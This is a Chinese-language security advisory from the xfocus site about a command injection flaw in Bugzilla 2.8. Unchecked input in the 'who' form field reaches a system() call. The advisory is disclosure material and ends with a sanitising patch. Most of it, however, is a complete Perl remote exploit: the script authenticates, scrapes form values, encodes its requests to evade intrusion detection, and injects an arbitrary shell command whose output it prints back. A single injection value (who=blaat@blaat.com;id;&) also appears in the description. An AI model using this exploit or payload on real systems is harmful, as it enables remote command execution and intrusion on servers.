xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Bugzilla 2.8对系统调用没有进行正常检查


发布时间:2000-12-01
更新时间:2000-12-01
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Bugzilla 2.8
详细描述
Bugzilla是一个用于报告BUG的数据库,它允许用户报告BUG和把BUG报告给相应的开发者。开发商可以使用 Bugzilla来维护一to-do列表来,记得apache.org也使用了此应用程序。在数据库中有一些条目如Enhancement Requests 或者Requests For Enhancement --简写为 RFE,在这里RFE存在一BUG,当你输入计划工作的任务作为enhancement请求时,Bugilla会帮助你跟踪他们并且允许其他用户看到你计划的进展情况,如果用户可以看到计划表,其他用户就可以避免重复你的工作。 下面是一段CGI程序,是用来连接数据库和报告BUG的。/* * The bug */ 其中之一的一个脚本--`process_bug.cgi`, 处理新的 BUG发送,通过了下面的脚本代用了perl脚本perlscript `processmail`: system("./processmail $::FORM{'dup_id'} $::FORM{'who'}"); if this bugreport is a duplicate of the bug with id 'dup_id' system("./processmail $id $::FORM{'who'}"); for a normal bugreport system("./processmail $k $::FORM{'who'}"); 每一个BUG报告需要依靠上面的脚本,但其对who ($::FORM{'who'})这一栏没有对其内容进行正常的检查。 /* * The exploit */ 而这个错误就可以被利用,因为当发送一条BUG时$::FORM {'who'}调用了who但没有对其内容进行正确的检查,那么我们就可以使用下面的方法发送内容: who=blaat@blaat.com;id;& 下面的EXPLOIT是使用复制的选项来报告一个不存在的 BUG,所以这个结果不会显示在任何地方,因为重复的将被 bugzilla拒绝发布。

测试代码
#!/usr/bin/perl

# Bugzilla 2.8 remote exploit
# by {} - karin@root66.nl.eu.org
#     RooT66        - http://root66.nl.eu.org
#     ShellOracle    - http://www.shelloracle.cjb.net
#     b0f        - http://b0f.freebsd.lublin.pl
#     
# This exploits uses antiIDS tricks ripped from whisker

# next 2 functinos stolen from whisker, commented by me
sub rstr { # no, this is not a cryptographically-robust number generator
        my $str,$c;
        $drift=(rand() * 10) % 10;
        for($c=0;$c<10+$drift;$c++){
        $str .= chr(((rand() * 26) % 26) + 97);} # yes, we only use a-z
        return $str;}

sub antiIDS {
    ($url) = (@_);
        $url =~s/([-a-zA-Z0-9.\<\>\\\|\'\`])/sprintf("%%%x",ord($1))/ge;
    $url =~ s/\ /+/g;
        $url =~s/\//\/.\//g;
    return $url;
}
#end of stolen stuff

($complete_url, $Bugzilla_login, $Bugzilla_password, $command) = (@ARGV);

print("Exploit for Bugzilla up to version 2.8\n");
print("        by {} - karin\@root66.nl.eu.org\n");
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
print("RooT66        - http://root66.nl.eu.org\n");
print("ShellOracle    - http://www.shelloracle.cjb.net\n");
print("b0f        - http://b0f.freebsd.lublin.pl\n");
print("\n");

if ($complete_url eq "-h" || $complete_url eq "--help") {
    print("Usage: $0 url emailaddress password command\n");
    exit;
}

# Get information of user
if (!$complete_url) {
    print("URL: ");
    $complete_url = <STDIN>; chomp($complete_url); $complete_url =~ s/http:\/\///;
}
if (!$Bugzilla_login) {
    print("EMAIL: ");
    $Bugzilla_login = <STDIN>; chomp($Bugzilla_login);
}
if (!$Bugzilla_password) {
    print("PASSWORD: ");
    $Bugzilla_password = <STDIN>; chomp($Bugzilla_password);
}
if (!$command) {
    print("COMMAND: ");
    $command = <STDIN>; chomp($command);
}


# Set some variables
$host = $complete_url; $host =~ s/\/.*//;
$base_dir = $complete_url; $base_dir =~ s/^$host//; $base_dir =~ s/[a-zA-Z.]*$//;

# Make own directory
system("mkdir $$");

print("Getting information needed to submit our 'bug'\n");
# Get product name
system("cd $$; lynx -source \"http://$host/" . antiIDS("$base_dir/enter_bug.cgi") .  "?Bugzilla_login=" . antiIDS("$Bugzilla_login") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password") . "\" > enter_bug.cgi");
open(FILE, "< $$/enter_bug.cgi");
while($input = <FILE>) {
    if ($input =~ /enter_bug.cgi\?product=/) {
        chomp($input);
        $product = $input;
        $product =~ s/.*product=//;
        $product =~ s/".*//;
        if ($product =~ /\&component=/) {
            $component = $product;
            $product =~ s/&.*//;        # strip component
            $component =~ s/.*component=//;
            $component =~ s/".*//;
        }
    }
}
print("\tProduct: $product\n");
if ($component) {
    print("\tComponent: $component\n");
    }
# Get more information
$page = antiIDS("$base_dir/enter_bug.cgi?") . "product=" . antiIDS("$product") . "&Bugzilla_login=" . antiIDS("$Bugzilla_login") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password");
system("cd $$; lynx -dump \"http://$host/$page\" > enter_bug.cgi");
open(FILE, "< $$/enter_bug.cgi");
while($input = <FILE>) {
    chomp($input);
    if ($input =~ /Reporter:/) {
        $reporter = $input;
        $reporter =~ s/.*Reporter: //;
        $reporter =~ s/\ .*//;
    }
    if ($input =~ /Version:/) {
        $version = $input;
        $version =~ s/.*Version: \[//;
        $version =~ s/\.*\].*//;
    }
    if ($input =~ /Component:/) {
        $component = $input;
        $component =~ s/.*Component: \[//;
        $component =~ s/\.*\].*//;
    }
    if ($input =~ /Platform:/) {
        $platform = $input;
        $platform =~ s/.*Platform: \[//;
        $platform =~ s/\.*\].*//;
    }
    if ($input =~ /OS:/) {
        $os = $input;
        $os =~ s/.*OS: \[//;
        $os =~ s/\.*\].*//;
    }
    if ($input =~ /Priority:/) {
        $priority = $input;
        $priority =~ s/.*Priority: \[//;
        $priority =~ s/\].*//;
    }
    if ($input =~ /Severity:/) {
        $severity = $input;
        $severity =~ s/.*Severity: \[//;
        $severity =~ s/\.*\].*//;
    }
}
print("\tReporter: $reporter\n");
print("\tVersion: $version\n");
print("\tComponent: $component\n");
print("\tPlatform: $platform\n");
print("\tOS: $os\n");
print("\tPriority: $priority\n");
print("\tSeverity: $severity\n");
close(FILE);


#liftoff
print("Sending evil bug report\n");
$page = antiIDS("$base_dir/process_bug.cgi") .  "?bug_status=" . antiIDS("NEW") . "&reporter=" . antiIDS($reporter) . "&product=" . antiIDS("$product") . "&version=" . antiIDS("$version") . "&component=" . antiIDS("$component") . "&rep_platform=" . antiIDS("$platform") . "&op_sys=" . antiIDS($os) . "&priority=" . antiIDS($priority) . "&bug_severity=" . antiIDS($severity) . "&who=". antiIDS("blaat\@blaat.com;echo \\<pre\\>START OUTPUT COMMAND;$command;echo \\<\\/pre\\>END OUTPUT COMMAND;") . "&knob=" . antiIDS("duplicate") . "&dup_id=" . antiIDS("202021234123412341234") . "&Bugzilla_login=" . antiIDS($Bugzilla_login) . "&Bugzilla_password=" . antiIDS($Bugzilla_password) . "&assigned_to=&cc=&bug_file_loc=&short_desc=&comment=&form_name=enter_bug";
system("cd $$; lynx -dump \"$host/$page\" > enter_bug.cgi");    
open(FILE, "< $$/enter_bug.cgi");
while($input = <FILE>) {
    chomp($input);
    if ($input =~ /END OUTPUT COMMAND/) {
        $startoutput = 0;
    }
    if ($startoutput) {
        print("$input\n");
    }
    if ($input =~ /START OUTPUT COMMAND/) {
    $startoutput = 1;
    }
}
close(FILE);
# Delete shit
system("rm -rf $$");

解决方案
在process_mail开头,我们可以在$::FORM{'who'}
设置中一常规的表达式检查如:

   if (!defined $::FORM{'who'}) {
        $::FORM{'who'} = $::COOKIE{'Bugzilla_login'};
    }

中加入:
    # fix by {} - karin@root66.nl.eu.org
    #    we wouldn't like some hacker including shellchars, whould we?
    $::FORM{'who'} =~ s/[^a-zA-Z0-9\@_\-\.\/\+]//g;

相关信息